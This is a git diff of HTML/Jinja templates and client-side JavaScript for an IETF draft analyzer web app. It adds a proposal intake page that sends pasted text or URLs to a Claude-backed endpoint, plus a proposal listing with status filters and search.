|
||||
<a href="/proposals/{{ proposal.id }}" class="px-4 py-2.5 text-sm text-slate-400 hover:text-white transition">Cancel</a>
|
||||
{% else %}
|
||||
<a href="/proposals" class="px-4 py-2.5 text-sm text-slate-400 hover:text-white transition">Cancel</a>
|
||||
{% endif %}
|
||||
</div>
|
||||
</form>
|
||||
{% endblock %}
|
||||
|
||||
{% block extra_scripts %}
|
||||
<script>
|
||||
let slugManuallyEdited = {{ 'true' if proposal and proposal.slug else 'false' }};
|
||||
|
||||
document.getElementById('slug').addEventListener('input', function() {
|
||||
slugManuallyEdited = this.value.length > 0;
|
||||
});
|
||||
|
||||
function autoSlug() {
|
||||
if (slugManuallyEdited) return;
|
||||
const title = document.getElementById('title').value;
|
||||
const slug = title.toLowerCase().replace(/[^a-z0-9]+/g, '-').replace(/^-|-$/g, '');
|
||||
document.getElementById('slug').value = slug;
|
||||
}
|
||||
|
||||
{% if not proposal %}
|
||||
// Pre-select gap from URL parameter
|
||||
const params = new URLSearchParams(window.location.search);
|
||||
const preGapId = params.get('gap_id');
|
||||
if (preGapId) {
|
||||
const checkbox = document.querySelector(`input[name="gap_ids"][value="${preGapId}"]`);
|
||||
if (checkbox) checkbox.checked = true;
|
||||
}
|
||||
|
||||
// ── Quick Generate ──────────────────────────────────────────────────
|
||||
const intakeInput = document.getElementById('intakeInput');
|
||||
const charCountEl = document.getElementById('charCount');
|
||||
const urlCountEl = document.getElementById('urlCount');
|
||||
const urlNumEl = document.getElementById('urlNum');
|
||||
|
||||
// Store generated proposals for "Save All"
|
||||
let generatedProposals = [];
|
||||
|
||||
intakeInput.addEventListener('input', () => {
|
||||
charCountEl.textContent = intakeInput.value.length;
|
||||
const urls = intakeInput.value.match(/https?:\/\/[^\s<>"')\]]+/g) || [];
|
||||
if (urls.length > 0) {
|
||||
urlCountEl.classList.remove('hidden');
|
||||
urlNumEl.textContent = urls.length;
|
||||
} else {
|
||||
urlCountEl.classList.add('hidden');
|
||||
}
|
||||
});
|
||||
|
||||
function toggleManualForm() {
|
||||
const form = document.getElementById('proposalForm');
|
||||
const divider = document.getElementById('manualDivider');
|
||||
form.scrollIntoView({ behavior: 'smooth', block: 'start' });
|
||||
}
|
||||
|
||||
function runGenerate() {
|
||||
const input = intakeInput.value.trim();
|
||||
if (!input) return;
|
||||
|
||||
const btn = document.getElementById('generateBtn');
|
||||
const icon = document.getElementById('genIcon');
|
||||
const text = document.getElementById('genText');
|
||||
const status = document.getElementById('genStatus');
|
||||
const error = document.getElementById('genError');
|
||||
const results = document.getElementById('genResults');
|
||||
|
||||
btn.disabled = true;
|
||||
icon.innerHTML = '';
|
||||
icon.classList.add('intake-spinner');
|
||||
text.textContent = 'Processing...';
|
||||
status.classList.remove('hidden');
|
||||
error.classList.add('hidden');
|
||||
results.classList.add('hidden');
|
||||
|
||||
const formData = new FormData();
|
||||
formData.append('input_text', input);
|
||||
|
||||
fetch('/proposals/intake', { method: 'POST', body: formData })
|
||||
.then(r => r.json())
|
||||
.then(data => {
|
||||
status.classList.add('hidden');
|
||||
icon.classList.remove('intake-spinner');
|
||||
icon.innerHTML = '<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M13 10V3L4 14h7v7l9-11h-7z"/>';
|
||||
|
||||
if (data.error) {
|
||||
error.classList.remove('hidden');
|
||||
document.getElementById('genErrorText').textContent = data.error;
|
||||
text.textContent = 'Retry';
|
||||
btn.disabled = false;
|
||||
return;
|
||||
}
|
||||
|
||||
generatedProposals = data.proposals;
|
||||
document.getElementById('genCount').textContent = data.count;
|
||||
|
||||
// Show usage info
|
||||
if (data.usage) {
|
||||
const u = data.usage;
|
||||
document.getElementById('genUsage').textContent =
|
||||
`${u.model} · ${u.input_tokens.toLocaleString()} in / ${u.output_tokens.toLocaleString()} out · $${u.cost_usd.toFixed(3)}`;
|
||||
}
|
||||
|
||||
const list = document.getElementById('genList');
|
||||
list.innerHTML = '';
|
||||
|
||||
data.proposals.forEach((p, i) => {
|
||||
const gapPills = (p.gap_ids || []).map(gid =>
|
||||
`<span class="px-2 py-0.5 rounded text-[10px] bg-slate-800 text-slate-400">#${gid}</span>`
|
||||
).join(' ');
|
||||
|
||||
const card = document.createElement('div');
|
||||
card.className = 'gen-card bg-slate-950 rounded-lg border border-slate-700 p-4';
|
||||
card.style.animationDelay = `${i * 0.1}s`;
|
||||
card.dataset.index = i;
|
||||
card.onclick = () => fillFormFromProposal(i);
|
||||
card.innerHTML = `
|
||||
<div class="flex items-start justify-between gap-3 mb-1.5">
|
||||
<h3 class="text-sm font-semibold text-white">${p.title}</h3>
|
||||
<span class="px-2 py-0.5 rounded-full text-[10px] font-semibold bg-green-500/20 text-green-400 ring-1 ring-green-500/30 whitespace-nowrap">SAVED</span>
|
||||
</div>
|
||||
<p class="text-xs text-slate-400 mb-2">${p.description || ''}</p>
|
||||
<div class="flex items-center gap-3 flex-wrap text-[10px]">
|
||||
<span class="text-slate-500">Gaps: ${gapPills || '<span class="text-slate-600">none</span>'}</span>
|
||||
${p.intended_wg ? `<span class="text-slate-500">WG: <span class="text-slate-400">${p.intended_wg}</span></span>` : ''}
|
||||
${p.draft_name ? `<span class="text-slate-500 font-mono">${p.draft_name}</span>` : ''}
|
||||
</div>
|
||||
<p class="text-[10px] text-blue-400/60 mt-2">Click to load into editor below ↓</p>
|
||||
`;
|
||||
list.appendChild(card);
|
||||
});
|
||||
|
||||
results.classList.remove('hidden');
|
||||
text.textContent = 'Generate More';
|
||||
btn.disabled = false;
|
||||
|
||||
// Update Save All button text
|
||||
document.getElementById('saveAllBtn').querySelector('span') ||
|
||||
(document.getElementById('saveAllBtn').textContent = `All ${data.count} saved`);
|
||||
// Proposals were already saved by the intake endpoint
|
||||
document.getElementById('saveAllBtn').classList.add('hidden');
|
||||
document.getElementById('saveAllStatus').textContent = `All ${data.count} proposals saved automatically.`;
|
||||
})
|
||||
.catch(err => {
|
||||
status.classList.add('hidden');
|
||||
error.classList.remove('hidden');
|
||||
document.getElementById('genErrorText').textContent = 'Network error: ' + err.message;
|
||||
icon.classList.remove('intake-spinner');
|
||||
icon.innerHTML = '<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M13 10V3L4 14h7v7l9-11h-7z"/>';
|
||||
text.textContent = 'Retry';
|
||||
btn.disabled = false;
|
||||
});
|
||||
}
|
||||
|
||||
function fillFormFromProposal(index) {
|
||||
const p = generatedProposals[index];
|
||||
if (!p) return;
|
||||
|
||||
// Highlight selected card
|
||||
document.querySelectorAll('.gen-card').forEach(c => c.classList.remove('selected'));
|
||||
document.querySelectorAll('.gen-card')[index].classList.add('selected');
|
||||
|
||||
// Fill form fields
|
||||
document.getElementById('title').value = p.title || '';
|
||||
slugManuallyEdited = false;
|
||||
autoSlug();
|
||||
if (p.slug) {
|
||||
document.getElementById('slug').value = p.slug;
|
||||
slugManuallyEdited = true;
|
||||
}
|
||||
document.getElementById('description').value = p.description || '';
|
||||
document.getElementById('intended_wg').value = p.intended_wg || '';
|
||||
document.getElementById('draft_name').value = p.draft_name || '';
|
||||
document.getElementById('source_paper').value = p.source_paper || '';
|
||||
document.getElementById('source_url').value = p.source_url || '';
|
||||
document.getElementById('content_md').value = p.content_md || '';
|
||||
|
||||
// Check matching gap checkboxes
|
||||
document.querySelectorAll('input[name="gap_ids"]').forEach(cb => {
|
||||
cb.checked = (p.gap_ids || []).includes(parseInt(cb.value));
|
||||
});
|
||||
|
||||
// Scroll to form
|
||||
document.getElementById('proposalForm').scrollIntoView({ behavior: 'smooth', block: 'start' });
|
||||
}
|
||||
|
||||
function saveAllProposals() {
|
||||
// Proposals are already saved by the intake endpoint, this is a no-op
|
||||
document.getElementById('saveAllStatus').textContent = 'All proposals were saved during generation.';
|
||||
}
|
||||
{% endif %}
|
||||
</script>
|
||||
{% endblock %}
|
||||
190
src/webui/templates/proposal_intake.html
Normal file
190
src/webui/templates/proposal_intake.html
Normal file
@@ -0,0 +1,190 @@
|
||||
{% extends "base.html" %}
|
||||
{% set active_page = "proposals" %}
|
||||
|
||||
{% block title %}Proposal Intake — IETF Draft Analyzer{% endblock %}
|
||||
|
||||
{% block extra_head %}
|
||||
<style>
|
||||
.intake-spinner {
|
||||
display: inline-block;
|
||||
width: 1rem;
|
||||
height: 1rem;
|
||||
border: 2px solid rgba(255,255,255,0.3);
|
||||
border-top-color: white;
|
||||
border-radius: 50%;
|
||||
animation: spin 0.8s linear infinite;
|
||||
}
|
||||
@keyframes spin { to { transform: rotate(360deg); } }
|
||||
.result-card {
|
||||
animation: fadeIn 0.3s ease-out;
|
||||
}
|
||||
@keyframes fadeIn { from { opacity: 0; transform: translateY(8px); } to { opacity: 1; transform: translateY(0); } }
|
||||
</style>
|
||||
{% endblock %}
|
||||
|
||||
{% block content %}
|
||||
<!-- Breadcrumb -->
|
||||
<nav class="mb-6 text-sm">
|
||||
<a href="/proposals" class="text-blue-400 hover:text-blue-300 transition">Proposals</a>
|
||||
<span class="text-slate-600 mx-2">/</span>
|
||||
<span class="text-slate-400">Intake</span>
|
||||
</nav>
|
||||
|
||||
<div class="mb-6">
|
||||
<h1 class="text-2xl font-bold text-white">Proposal Intake</h1>
|
||||
<p class="text-slate-400 text-sm mt-1">Paste article text, URLs, or notes below. Claude will analyze the input against all current gaps and generate structured IETF draft proposals automatically.</p>
|
||||
</div>
|
||||
|
||||
<!-- Input form -->
|
||||
<div class="bg-slate-900 rounded-xl border border-slate-800 p-6 mb-6">
|
||||
<div class="mb-4">
|
||||
<label for="inputText" class="block text-sm font-medium text-slate-300 mb-2">Input Material</label>
|
||||
<textarea id="inputText" rows="12"
|
||||
class="w-full bg-slate-950 border border-slate-700 rounded-lg px-4 py-3 text-sm text-slate-200 font-mono placeholder-slate-600 focus:outline-none focus:ring-2 focus:ring-blue-500/50 focus:border-blue-500 resize-y"
|
||||
placeholder="Paste one or more of: • Article text or paper abstract • URLs (https://arxiv.org/..., blog posts, etc.) • Your own notes or ideas • A mix of all the above URLs will be fetched automatically. The system will cross-reference everything with the 12 existing gaps and generate draft proposals."></textarea>
|
||||
</div>
|
||||
|
||||
<div class="flex items-center justify-between">
|
||||
<div class="text-xs text-slate-500">
|
||||
<span id="charCount">0</span> chars
|
||||
<span id="urlCount" class="ml-3 hidden">
|
||||
<span class="text-blue-400"><span id="urlNum">0</span> URL(s)</span> detected — will be fetched
|
||||
</span>
|
||||
</div>
|
||||
<button id="submitBtn" onclick="runIntake()"
|
||||
class="inline-flex items-center gap-2 px-5 py-2.5 bg-blue-600 hover:bg-blue-500 disabled:bg-slate-700 disabled:text-slate-500 text-white text-sm font-medium rounded-lg transition">
|
||||
<svg id="submitIcon" class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M13 10V3L4 14h7v7l9-11h-7z"/></svg>
|
||||
<span id="submitText">Generate Proposals</span>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Status -->
|
||||
<div id="statusArea" class="hidden mb-6 p-4 rounded-xl bg-blue-500/10 border border-blue-500/20">
|
||||
<div class="flex items-center gap-3 text-sm text-blue-400">
|
||||
<span class="intake-spinner"></span>
|
||||
<div>
|
||||
<span id="statusText">Analyzing input and generating proposals...</span>
|
||||
<p class="text-xs text-blue-400/60 mt-1">This may take 30-60 seconds. Claude is reading the input, cross-referencing gaps, and writing full proposal outlines.</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Error -->
|
||||
<div id="errorArea" class="hidden mb-6 p-4 rounded-xl bg-red-500/10 border border-red-500/20">
|
||||
<p class="text-sm text-red-400" id="errorText"></p>
|
||||
</div>
|
||||
|
||||
<!-- Results -->
|
||||
<div id="resultsArea" class="hidden">
|
||||
<div class="flex items-center justify-between mb-4">
|
||||
<h2 class="text-lg font-semibold text-white">
|
||||
Generated <span id="resultCount">0</span> Proposal(s)
|
||||
</h2>
|
||||
<a href="/proposals" class="text-sm text-blue-400 hover:text-blue-300 transition">View all proposals →</a>
|
||||
</div>
|
||||
<div id="resultsList" class="space-y-4"></div>
|
||||
</div>
|
||||
|
||||
{% endblock %}
|
||||
|
||||
{% block extra_scripts %}
|
||||
<script>
|
||||
const textarea = document.getElementById('inputText');
|
||||
const charCount = document.getElementById('charCount');
|
||||
const urlCount = document.getElementById('urlCount');
|
||||
const urlNum = document.getElementById('urlNum');
|
||||
|
||||
textarea.addEventListener('input', () => {
|
||||
charCount.textContent = textarea.value.length;
|
||||
const urls = textarea.value.match(/https?:\/\/[^\s<>"')\]]+/g) || [];
|
||||
if (urls.length > 0) {
|
||||
urlCount.classList.remove('hidden');
|
||||
urlNum.textContent = urls.length;
|
||||
} else {
|
||||
urlCount.classList.add('hidden');
|
||||
}
|
||||
});
|
||||
|
||||
function runIntake() {
|
||||
const input = textarea.value.trim();
|
||||
if (!input) return;
|
||||
|
||||
const btn = document.getElementById('submitBtn');
|
||||
const icon = document.getElementById('submitIcon');
|
||||
const text = document.getElementById('submitText');
|
||||
const status = document.getElementById('statusArea');
|
||||
const error = document.getElementById('errorArea');
|
||||
const results = document.getElementById('resultsArea');
|
||||
|
||||
btn.disabled = true;
|
||||
icon.innerHTML = '';
|
||||
icon.classList.add('intake-spinner');
|
||||
text.textContent = 'Processing...';
|
||||
status.classList.remove('hidden');
|
||||
error.classList.add('hidden');
|
||||
results.classList.add('hidden');
|
||||
|
||||
const formData = new FormData();
|
||||
formData.append('input_text', input);
|
||||
|
||||
fetch('/proposals/intake', {
|
||||
method: 'POST',
|
||||
body: formData,
|
||||
})
|
||||
.then(r => r.json())
|
||||
.then(data => {
|
||||
status.classList.add('hidden');
|
||||
icon.classList.remove('intake-spinner');
|
||||
|
||||
if (data.error) {
|
||||
error.classList.remove('hidden');
|
||||
document.getElementById('errorText').textContent = data.error;
|
||||
icon.innerHTML = '<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M13 10V3L4 14h7v7l9-11h-7z"/>';
|
||||
text.textContent = 'Retry';
|
||||
btn.disabled = false;
|
||||
} else {
|
||||
document.getElementById('resultCount').textContent = data.count;
|
||||
const list = document.getElementById('resultsList');
|
||||
list.innerHTML = '';
|
||||
|
||||
data.proposals.forEach((p, i) => {
|
||||
const gapPills = (p.gap_ids || []).map(gid =>
|
||||
`<a href="/gaps/${gid}" class="px-2 py-0.5 rounded text-[10px] bg-slate-800 text-slate-400 hover:text-blue-400 transition">#${gid}</a>`
|
||||
).join(' ');
|
||||
|
||||
const card = document.createElement('div');
|
||||
card.className = 'result-card bg-slate-900 rounded-xl border border-green-500/30 p-5';
|
||||
card.style.animationDelay = `${i * 0.1}s`;
|
||||
card.innerHTML = `
|
||||
<div class="flex items-start justify-between gap-3 mb-2">
|
||||
<a href="/proposals/${p.id}" class="text-base font-semibold text-white hover:text-blue-400 transition">${p.title}</a>
|
||||
<span class="px-2.5 py-0.5 rounded-full text-xs font-semibold bg-purple-500/20 text-purple-400 ring-1 ring-purple-500/30 whitespace-nowrap">IDEA</span>
|
||||
</div>
|
||||
<p class="text-sm text-slate-400 mb-3">${p.description}</p>
|
||||
<div class="flex items-center gap-2 flex-wrap">
|
||||
<span class="text-[10px] text-slate-500">Gaps:</span>
|
||||
${gapPills || '<span class="text-[10px] text-slate-600">none linked</span>'}
|
||||
</div>
|
||||
`;
|
||||
list.appendChild(card);
|
||||
});
|
||||
|
||||
results.classList.remove('hidden');
|
||||
icon.innerHTML = '<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"/>';
|
||||
text.textContent = 'Done — Generate More?';
|
||||
btn.disabled = false;
|
||||
}
|
||||
})
|
||||
.catch(err => {
|
||||
status.classList.add('hidden');
|
||||
error.classList.remove('hidden');
|
||||
document.getElementById('errorText').textContent = 'Network error: ' + err.message;
|
||||
icon.classList.remove('intake-spinner');
|
||||
icon.innerHTML = '<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M13 10V3L4 14h7v7l9-11h-7z"/>';
|
||||
text.textContent = 'Retry';
|
||||
btn.disabled = false;
|
||||
});
|
||||
}
|
||||
</script>
|
||||
{% endblock %}
|
||||
175
src/webui/templates/proposals.html
Normal file
175
src/webui/templates/proposals.html
Normal file
@@ -0,0 +1,175 @@
|
||||
{% extends "base.html" %}
|
||||
{% set active_page = "proposals" %}
|
||||
|
||||
{% block title %}Proposals — IETF Draft Analyzer{% endblock %}
|
||||
|
||||
{% block extra_head %}
|
||||
<style>
|
||||
.status-pill { cursor: pointer; transition: all 0.2s; }
|
||||
.status-pill:hover { opacity: 0.9; }
|
||||
.status-pill.active { ring: 2px; }
|
||||
</style>
|
||||
{% endblock %}
|
||||
|
||||
{% block content %}
|
||||
<div class="mb-6 flex items-start justify-between">
|
||||
<div>
|
||||
<h1 class="text-2xl font-bold text-white">Proposals</h1>
|
||||
<p class="text-slate-400 text-sm mt-1">{{ proposals | length }} draft proposal{{ 's' if proposals | length != 1 }} tracking ideas for new Internet-Drafts linked to identified gaps.</p>
|
||||
</div>
|
||||
<div class="flex gap-2 shrink-0">
|
||||
<a href="/proposals/intake" class="inline-flex items-center gap-2 px-4 py-2 bg-purple-600 hover:bg-purple-500 text-white text-sm font-medium rounded-lg transition">
|
||||
<svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M13 10V3L4 14h7v7l9-11h-7z"/></svg>
|
||||
Intake
|
||||
</a>
|
||||
<a href="/proposals/new" class="inline-flex items-center gap-2 px-4 py-2 bg-blue-600 hover:bg-blue-500 text-white text-sm font-medium rounded-lg transition">
|
||||
<svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 4v16m8-8H4"/></svg>
|
||||
New
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Status filter pills -->
|
||||
<div class="flex flex-wrap gap-2 mb-6">
|
||||
<button onclick="filterStatus('all')" class="status-pill px-3 py-1.5 rounded-full text-xs font-semibold bg-slate-800 text-slate-300 ring-1 ring-slate-700" data-status="all">
|
||||
All ({{ proposals | length }})
|
||||
</button>
|
||||
{% set ns = namespace(idea=0, outline=0, draft=0, submitted=0, merged=0, abandoned=0) %}
|
||||
{% for p in proposals %}
|
||||
{% if p.status == 'idea' %}{% set ns.idea = ns.idea + 1 %}
|
||||
{% elif p.status == 'outline' %}{% set ns.outline = ns.outline + 1 %}
|
||||
{% elif p.status == 'draft' %}{% set ns.draft = ns.draft + 1 %}
|
||||
{% elif p.status == 'submitted' %}{% set ns.submitted = ns.submitted + 1 %}
|
||||
{% elif p.status == 'merged' %}{% set ns.merged = ns.merged + 1 %}
|
||||
{% elif p.status == 'abandoned' %}{% set ns.abandoned = ns.abandoned + 1 %}
|
||||
{% endif %}
|
||||
{% endfor %}
|
||||
<button onclick="filterStatus('idea')" class="status-pill px-3 py-1.5 rounded-full text-xs font-semibold bg-purple-500/20 text-purple-400 ring-1 ring-purple-500/30" data-status="idea">
|
||||
Idea ({{ ns.idea }})
|
||||
</button>
|
||||
<button onclick="filterStatus('outline')" class="status-pill px-3 py-1.5 rounded-full text-xs font-semibold bg-blue-500/20 text-blue-400 ring-1 ring-blue-500/30" data-status="outline">
|
||||
Outline ({{ ns.outline }})
|
||||
</button>
|
||||
<button onclick="filterStatus('draft')" class="status-pill px-3 py-1.5 rounded-full text-xs font-semibold bg-yellow-500/20 text-yellow-400 ring-1 ring-yellow-500/30" data-status="draft">
|
||||
Draft ({{ ns.draft }})
|
||||
</button>
|
||||
<button onclick="filterStatus('submitted')" class="status-pill px-3 py-1.5 rounded-full text-xs font-semibold bg-green-500/20 text-green-400 ring-1 ring-green-500/30" data-status="submitted">
|
||||
Submitted ({{ ns.submitted }})
|
||||
</button>
|
||||
<button onclick="filterStatus('merged')" class="status-pill px-3 py-1.5 rounded-full text-xs font-semibold bg-emerald-500/20 text-emerald-400 ring-1 ring-emerald-500/30" data-status="merged">
|
||||
Merged ({{ ns.merged }})
|
||||
</button>
|
||||
<button onclick="filterStatus('abandoned')" class="status-pill px-3 py-1.5 rounded-full text-xs font-semibold bg-slate-600/20 text-slate-500 ring-1 ring-slate-600/30" data-status="abandoned">
|
||||
Abandoned ({{ ns.abandoned }})
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<!-- Search -->
|
||||
<div class="mb-6">
|
||||
<input type="text" id="searchInput" placeholder="Search proposals..." oninput="filterProposals()"
|
||||
class="w-full md:w-96 px-4 py-2 bg-slate-900 border border-slate-700 rounded-lg text-sm text-white placeholder-slate-500 focus:outline-none focus:border-blue-500 transition">
|
||||
</div>
|
||||
|
||||
<!-- Proposal cards -->
|
||||
<div class="space-y-4" id="proposalList">
|
||||
{% for p in proposals %}
|
||||
<a href="/proposals/{{ p.id }}" class="proposal-card block bg-slate-900 rounded-xl border border-slate-800 hover:border-slate-600 p-5 transition group"
|
||||
data-status="{{ p.status }}" data-title="{{ p.title | lower }}" data-desc="{{ p.description | lower }}">
|
||||
<div class="flex items-start justify-between gap-3 mb-3">
|
||||
<h2 class="text-base font-semibold text-white group-hover:text-blue-400 transition">{{ p.title }}</h2>
|
||||
<div class="flex items-center gap-2 shrink-0">
|
||||
<span class="px-2.5 py-0.5 rounded-full text-xs font-semibold whitespace-nowrap
|
||||
{% if p.status == 'idea' %}bg-purple-500/20 text-purple-400 ring-1 ring-purple-500/30
|
||||
{% elif p.status == 'outline' %}bg-blue-500/20 text-blue-400 ring-1 ring-blue-500/30
|
||||
{% elif p.status == 'draft' %}bg-yellow-500/20 text-yellow-400 ring-1 ring-yellow-500/30
|
||||
{% elif p.status == 'submitted' %}bg-green-500/20 text-green-400 ring-1 ring-green-500/30
|
||||
{% elif p.status == 'merged' %}bg-emerald-500/20 text-emerald-400 ring-1 ring-emerald-500/30
|
||||
{% else %}bg-slate-600/20 text-slate-500 ring-1 ring-slate-600/30{% endif %}">
|
||||
{{ p.status | upper }}
|
||||
</span>
|
||||
<svg class="w-4 h-4 text-slate-600 group-hover:text-blue-400 transition" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M9 5l7 7-7 7"/></svg>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{% if p.description %}
|
||||
<p class="text-sm text-slate-400 leading-relaxed mb-3">{{ p.description[:200] }}{% if p.description | length > 200 %}...{% endif %}</p>
|
||||
{% endif %}
|
||||
|
||||
<div class="flex flex-wrap items-center gap-3 text-xs text-slate-500">
|
||||
{% if p.gaps %}
|
||||
<div class="flex flex-wrap gap-1.5">
|
||||
{% for gap in p.gaps %}
|
||||
<span class="inline-flex items-center gap-1 px-2 py-0.5 rounded bg-slate-800 text-slate-400">
|
||||
<span class="w-1.5 h-1.5 rounded-full
|
||||
{% if gap.severity == 'critical' %}bg-red-400
|
||||
{% elif gap.severity == 'high' %}bg-orange-400
|
||||
{% elif gap.severity == 'medium' %}bg-yellow-400
|
||||
{% else %}bg-green-400{% endif %}"></span>
|
||||
{{ gap.topic[:30] }}{% if gap.topic | length > 30 %}...{% endif %}
|
||||
</span>
|
||||
{% endfor %}
|
||||
</div>
|
||||
{% endif %}
|
||||
|
||||
{% if p.source_paper %}
|
||||
<span class="text-slate-600">|</span>
|
||||
<span>{{ p.source_paper }}</span>
|
||||
{% endif %}
|
||||
|
||||
{% if p.intended_wg %}
|
||||
<span class="text-slate-600">|</span>
|
||||
<span>WG: {{ p.intended_wg }}</span>
|
||||
{% endif %}
|
||||
|
||||
{% if p.updated_at %}
|
||||
<span class="text-slate-600">|</span>
|
||||
<span>{{ p.updated_at[:10] }}</span>
|
||||
{% endif %}
|
||||
</div>
|
||||
</a>
|
||||
{% endfor %}
|
||||
|
||||
{% if not proposals %}
|
||||
<div class="bg-slate-900 rounded-xl border border-slate-800 p-12 text-center">
|
||||
<svg class="w-12 h-12 text-slate-700 mx-auto mb-4" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M11 5H6a2 2 0 00-2 2v11a2 2 0 002 2h11a2 2 0 002-2v-5m-1.414-9.414a2 2 0 112.828 2.828L11.828 15H9v-2.828l8.586-8.586z"/></svg>
|
||||
<p class="text-slate-400 mb-4">No proposals yet. Start tracking your draft ideas.</p>
|
||||
<a href="/proposals/new" class="inline-flex items-center gap-2 px-4 py-2 bg-blue-600 hover:bg-blue-500 text-white text-sm font-medium rounded-lg transition">
|
||||
<svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 4v16m8-8H4"/></svg>
|
||||
Create First Proposal
|
||||
</a>
|
||||
</div>
|
||||
{% endif %}
|
||||
</div>
|
||||
{% endblock %}
|
||||
|
||||
{% block extra_scripts %}
|
||||
<script>
|
||||
let currentStatus = 'all';
|
||||
|
||||
function filterStatus(status) {
|
||||
currentStatus = status;
|
||||
// Update pill styling
|
||||
document.querySelectorAll('.status-pill').forEach(pill => {
|
||||
if (pill.dataset.status === status) {
|
||||
pill.style.outline = '2px solid rgba(96, 165, 250, 0.5)';
|
||||
pill.style.outlineOffset = '1px';
|
||||
} else {
|
||||
pill.style.outline = 'none';
|
||||
}
|
||||
});
|
||||
filterProposals();
|
||||
}
|
||||
|
||||
function filterProposals() {
|
||||
const query = document.getElementById('searchInput').value.toLowerCase();
|
||||
document.querySelectorAll('.proposal-card').forEach(card => {
|
||||
const matchStatus = currentStatus === 'all' || card.dataset.status === currentStatus;
|
||||
const matchSearch = !query || card.dataset.title.includes(query) || card.dataset.desc.includes(query);
|
||||
card.style.display = (matchStatus && matchSearch) ? 'block' : 'none';
|
||||
});
|
||||
}
|
||||
|
||||
// Initialize with "all" active
|
||||
filterStatus('all');
|
||||
</script>
|
||||
{% endblock %}
|
||||
Reference in New Issue
Block a user